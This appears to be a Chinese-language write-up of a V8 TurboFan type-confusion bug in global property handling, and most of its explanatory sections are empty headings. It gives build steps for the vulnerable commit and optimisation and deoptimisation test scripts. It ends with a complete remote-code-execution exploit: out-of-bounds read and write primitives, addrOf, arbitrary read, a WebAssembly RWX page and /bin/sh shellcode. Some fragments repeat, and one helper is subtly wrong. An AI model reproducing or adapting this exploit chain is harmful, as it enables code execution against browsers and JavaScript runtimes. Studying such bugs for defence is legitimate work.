一
前言

二
背景

# 国内的网络编译会失败，挂VPN也遇到了各种问题。
# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月，编译一路丝滑。
git clone https://chromium.googlesource.com/chromium/tools/depot\_tools.git
export PATH=/path/to/depot\_tools:$PATH
mkdir \~/v8
cd \~/v8
fetch v8
cd v8
# 漏洞补丁前一笔提交
git checkout 632e6e71c5f
gclient sync
alias gm=/path/to/v8/tools/dev/gm.py
gm x64.release
gm x64.debug
# test
./out/x64.release/d8 --help

# 引入v8 gdb 调试支持，可以在gdb中使用job等命令查看v8对象
cp ./tools/gdbinit \~/.gdbinit
gdb ./out/x64.release/d8

// this file is test.js
// 执行：./out/x64.release/d8 --allow-natives-syntax ./test.js
// 其中的--allow-natives-syntax 参数作用是让%DebugPrint内置函数生效，它的作用是打印对象的map等调试信息
obj1 = {a: "foo", b: "bar"};
obj2 = ["foo", "bar"];
%DebugPrint(obj1);
%DebugPrint(obj2);

var a = {a: "111", b:"111" };
var b = {a: "222", b:"222" };
var c = {a: "333", b:"333" };

// this file is test.js
// 执行：./out/x64.release/d8 --allow-natives-syntax ./test.js
a = {x:'a'};
b = {x:'b'};
c = {x:'c'};
a.y = 'a';
console.log('a=====================');
%DebugPrint(a);
console.log('b=====================');
%DebugPrint(b);
console.log('c=====================');
%DebugPrint(c);

三
Ignition 和 TurboFan

function store(y) {
x = y;
}
var x = 0;
var y = 1;
var z = 2;
for (let i = 0; i < 200000; i++) store(y);
store(y);
store(z);
// ./out/x64.release/d8 --trace-opt --trace-deopt this.js

[marking 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> for optimized recompilation, reason: hot and stable]
[compiling method 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> (target TURBOFAN) using TurboFan OSR]
[optimizing 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> (target TURBOFAN) - took 0.201, 0.631, 0.033 ms]
[bailout (kind: deopt-soft, reason: Insufficient type feedback for call): begin. deoptimizing 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)>, opt id 0, bytecode offset 68, deopt exit 3, FP to SP delta 88, caller SP 0x7fff2bce2978, pc 0x23f600044202]

四
TurboFan对全局变量访问的优化分析

enum class PropertyCellType {
    kMutable, // Cell will no longer be tracked as constant.
    kUndefined, // The PREMONOMORPHIC of property cells.
    kConstant, // Cell has been assigned only once.
    kConstantType, // Cell has been assigned only one type.
    // Value for dictionaries not holding cells, must be 0:
    kNoCell = kMutable,
};
/*
PropertyCellType 定义了JS的类型，下面举例说明。
*/
var x = {a : 1};    //Constant，x第一次赋值
x = {a :2};         //ConstantType，x被赋值为相同类型
x.b = 2;            //ConstantType，x没有被赋值，仅修改它的属性，因此不改变类型
x = 2;              //kMutable，x被赋值为int，而非object，因此为kMutable

Reduction JSNativeContextSpecialization::ReduceGlobalAccess() {
    ...
    DCHECK_EQ(AccessMode::kStore, access_mode);                 // 3
    switch (property_details.cell_type()) {                     // 4
        ...
        case PropertyCellType::kConstantType: {                 // 6
        dependencies()->DependOnGlobalProperty(property_cell);  // 7
        ...
        if (property_cell_value_map.is_stable()) {
            dependencies()->DependOnStableMap(property_cell_value_map); // 10
        }
        effect = graph()->NewNode(
        simplified()->CheckMaps(                                // 13
            CheckMapsFlag::kNone,
            ZoneHandleSet(property_cell_value_map.object())),
            value, effect, control);
    ...
}

// 全局变量属性的类型发生变化
x = {value:"x"};
y = {value:"y"};
z = [1,2,3]
function store(y) {
    x = y;
}
// PrepareFunctionForOptimization OptimizeFunctionOnNextCall内置函数实现优化
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
store(y);
// property\_cell 类型发生变化，JS类型从object变成了array，因此解优化
x = z;
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出：
// [marking dependent code 0x2c3f00044001 (0x2c3f08153141 ) (opt id 0) for deoptimization, reason: prototype-check]

// 全局变量Map由stable变为not stable
x = {value:"x"};
y = {value:"y"};
function store(y) {
    x = y;
}
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
store(y);
// x 和 y 有相同MapA， stable
// y执行下面代码以后，拥有MapB, stable。x变为MapA not stale。因此解优化。
y.new\_value = "y";
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [marking dependent code 0x3c5600044001 (0x3c5608153141 ) (opt id 0) for deoptimization, reason: prototype-check]

// 传入store参数的Map和前面不一致
x = {value:"x"};
y = {value:"y"};
z = {value1:"z", value2:"z"};
function store(y) {
    x = y;
}
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
store(y);
store(z); // z的Map和x的Map不一致
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [bailout (kind: deopt-eager, reason: wrong map): begin. deoptimizing 0x0f6a08153375 \<JSFunction store (sfi = 0xf6a08153161)>, opt id 0, bytecode offset 2, deopt exit 1, FP to SP delta 32, caller SP 0x7ffd634e5b40, pc 0x0f6a00044145]

Reduction JSNativeContextSpecialization::ReduceGlobalAccess()
{
    ...
    if (access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) {      // 4
        ...
        if (property_details.cell_type() == PropertyCellType::kConstantType) {      // 6
            ...
            if (property_cell_value_map.is_stable()) {                              // 8
                dependencies()->DependOnStableMap(property_cell_value_map);
                map = property_cell_value_map.object();
            }
            ...
        }
        ...
    }
    ...
}

// 优化时刻MapA为Stable，后面修改MapA为MapB
x = {value:"x"};
y = {value:"y"};        // x,y MapA stable
function load() {
    return x['value']
}
//y.new\_value = '11';     // line 10
%PrepareFunctionForOptimization(load);
load();
%OptimizeFunctionOnNextCall(load);
load();                 // 优化时x为MapA stable
load();
x.new_value = '11';     // x 变为MapB，解优化 line 20
// // ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [marking dependent code 0x1e2900044001 (0x1e2908153151 ) (opt id 0) for deoptimization, reason: prototype-check]

五
类型混淆如何产生

function store(y) {
    x = y;
}
function load() {
return x.b;
}
var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};   // all has mapA, stable
%PrepareFunctionForOptimization(store);
store(x2);
x1.b = 1;           // x1 has mapB, stable
                    // x x2 x3 has mapA, not stable
%OptimizeFunctionOnNextCall(store);
store(x2);          // optimizatiin，x has MapA in store
// x此时为 mapA, not stable。执行x.b=3。将变为MapB，stable
// 无法命中store解优化的个条件，因此store不会解优化
/*
1. 全局变量属性的类型发生变化
2. 全局变量Map由stable变为not stable
3. 传入store参数的Map和前面不一致
不命中：
4. 回顾前面，需要通过"="赋值才会触发PropertyCellType类型修改。不命中。
5. 由not stable变为stable并非stable变为not stable。不命中。
6. 并非调用优化函数，而是对x的属性做修改，不命中。
*/
x.b = 3;        // x MapB stable
%PrepareFunctionForOptimization(load);
load();         // x has mapB
%OptimizeFunctionOnNextCall(load);
load();         // x has mapB in load
/*
用jit打败jit的精髓之处就在这里了。：）
此时x为 MapB stable，x3为MapA not stable。
回顾上面解优化条件：
store：
1. 全局变量属性的类型发生变化。不命中。
2. 全局变量Map由stable变为not stable。命中。
3. 传入store参数的Map和前面不一致。x3 x2均为MapA，不命中。
load：
4. 优化时刻MapA为Stable，后面修改MapA为MapB。命中。
总结起来看，store(x3)命中store解优化条件2和load解优化条件1。那么第51行代码应该触发store和load解优化。然而实际情况是没有发生任何解优化，x3按照优化代码的逻辑赋值给了x，x变为MapA not stable.
为什么没有解优化呢？原因是所有的解优化条件对于已经优化的代码store是不生效的，只对没有编译的bytecode生效。
用jit打败jit，用魔法打败魔法。：）
*/
store(x3);
// x 此时真实为MapA, not stable。而load优化的代码中，x为MapB stable，类型混淆，执行56行将导致crash。
%DebugPrint(load());

function store(y) {
    x = y;
}
function load() {
    return x.b;
}
var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};
%PrepareFunctionForOptimization(store);
store(x2);
x1.b = 1;
%OptimizeFunctionOnNextCall(store);
store(x2);
x.b = 3;
%PrepareFunctionForOptimization(load);
load();
%OptimizeFunctionOnNextCall(load);
load();
store(x3);
console.log("x=================");
%DebugPrint(x);
console.log("x1=================");
%DebugPrint(x1);
console.log("x3=================");
%DebugPrint(x3);
%DebugPrint(load());
// ./out/x64.release/d8 --print-opt-code --trace-opt --trace-deopt --allow-natives-syntax this.js
/*
x 和 x3为相同的MapA not stable，如下：
DebugPrint: 0x183008049a71: [JS_OBJECT_TYPE]
 - map: 0x183008187961 <Map(HOLEY_ELEMENTS)> [FastProperties]
 ...
 }
0x183008187961: [Map]
 - type: JS_OBJECT_TYPE
 ...
  x1为MapB stable，如下：
 DebugPrint: 0x183008049a51: [JS_OBJECT_TYPE]
 - map: 0x183008187989 <Map(HOLEY_ELEMENTS)> [FastProperties]
 ...
 }
0x183008187989: [Map]
 - type: JS_OBJECT_TYPE
 - stable_map
  MapA 的地址为0x183008187961
 MapB 的地址为0x183008187989，结合前面的分析，x在store中的优化代码中预设为MapA，在load中预设为MapB。查看它们对应的汇编，符合预期。
 store：
 ...
 REX.W movq rcx,0x1830081535f5    ;; object: 0x1830081535f5 <PropertyCell name=0x183008153061 <String[1]: #x> value=0x183008049a61 <Object map = 0x183008187961>>
 ...
  load:
 ...
 REX.W movq rdx,0x1830081535f5    ;; object: 0x1830081535f5 <PropertyCell name=0x183008153061 <String[1]: #x> value=0x183008049a61 <Object map = 0x183008187989>>
 ...
*/

六
补丁如何修复漏洞

七
利用混淆实现RCE

function foo(y) {
  x = y;
}
function oobRead() {
  //b[0] and addrOf writeArr::elements
  return [x[20],x[24]];
}
function oobWrite(addr) {
  x[24] = addr;
}
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x = arr0;
var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1);
var writeArr = [1.1];
%PrepareFunctionForOptimization(foo);
foo(arr1);
arr2[0] = 1.1;
%OptimizeFunctionOnNextCall(foo);
foo(arr1);
x[0] = 1.1;
%PrepareFunctionForOptimization(oobRead);
oobRead();
%OptimizeFunctionOnNextCall(oobRead);
oobRead();
%PrepareFunctionForOptimization(oobWrite);
oobWrite(1.1);
%OptimizeFunctionOnNextCall(oobWrite);
oobWrite(1.1);
foo(arr);

var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1);
var writeArr = [1.1];

b[0] = obj;  // b[0]中存放了obj的地址
function oobRead() {
  return [x[20],x[24]];
}
// x[20] 可以获取对象的地址
function addrOf(obj) {
  b[0] = obj;
  let addrs = oobRead();
  dblArr[0] = addrs[0];
  return intView[1]; 
}
var instanceAddr = addrOf(instance);

function oobWrite(addr) {
  x[24] = addr;
}
function oobRead() {
  return [x[20],x[24]];
}
var addrs = oobRead();
function arbRead(addr) {
  [elements, addr1] = ftoi32(addrs[1]);// addrs[1] :x[24]
  // 修改writeArr数组指针低32位，指向addr代表的任意地址
  oobWrite(i32tof(addr,addr1)); 
  // 读addr指向的内存
  return writeArr[0];
}

function writeShellCode(rwxAddr, shellArr) {
  var intArr = new Uint8Array(400);
  // 获取intArr对象地址intArrAddr
  var intArrAddr = addrOf(intArr);
  //var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
  // intArrAddr + 0x20 为Uint8Array数组指针所在的地址
  [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));
  // 修改Uint8Array数组指针为rwxAddr
  writeArr[0] = rwxAddr;
  for (let i = 0; i < shellArr.length; i++) {
    // 往rwxAddr地址处写shellArr
    intArr[i] = shellArr[i];
  }
}

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var main = instance.exports.main;
function foo(y) {
  x = y;
}
function oobRead() {
  return [x[20],x[24]];
}
function oobWrite(addr) {
  x[24] = addr;
}
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x = arr0;
var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1);
var writeArr = [1.1];
%PrepareFunctionForOptimization(foo);
foo(arr1);
arr2[0] = 1.1;
%OptimizeFunctionOnNextCall(foo);
foo(arr1);
x[0] = 1.1;
%PrepareFunctionForOptimization(oobRead);
oobRead();
%OptimizeFunctionOnNextCall(oobRead);
oobRead();
%PrepareFunctionForOptimization(oobWrite);
oobWrite(1.1);
%OptimizeFunctionOnNextCall(oobWrite);
oobWrite(1.1);
foo(arr);
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
b[0] = instance;
var addrs = oobRead();
console.log("addrs: " + ftoi32(addrs[0])[0].toString(16) + " " + ftoi32(addrs[0])[1].toString(16)
+  " " + ftoi32(addrs[1])[0].toString(16) + " " + ftoi32(addrs[1])[1].toString(16));
function ftoi32(f) {
  dblArr[0] = f;
  return [intView[0], intView[1]];
}
function i32tof(i1, i2) {
  intView[0] = i1;
  intView[1] = i2;
  return dblArr[0];
}
function itof(i) {
  bigIntView = BigInt(i);
  return dblArr[0];
}
function ftoi(f) {
  dblArr[0] = f;
  return bigIntView[0];
}
dblArr[0] = addrs[0];
dblArr[1] = addrs[1];
function addrOf(obj) {
  b[0] = obj;
  let addrs = oobRead();
  dblArr[0] = addrs[0];
  return intView[1]; 
}
function arbRead(addr) {
  [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr,addr1));
  return writeArr[0];
}
function writeShellCode(rwxAddr, shellArr) {
  var intArr = new Uint8Array(400);
  var intArrAddr = addrOf(intArr);
  //var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
  [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));
  writeArr[0] = rwxAddr;
  for (let i = 0; i < shellArr.length; i++) {
    intArr[i] = shellArr[i];
  }
}
var instanceAddr = addrOf(instance);
var elementsAddr = ftoi32(addrs[1])[0];
console.log("instance: " + instanceAddr.toString(16));
console.log("elements: " + elementsAddr.toString(16));
var rwxAddr = arbRead(instanceAddr + 0x60);
console.log("rwx page address: " + ftoi(rwxAddr).toString(16));
var shellCode = [0x31, /*0x31,*/ 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
writeShellCode(rwxAddr, shellCode);
main();

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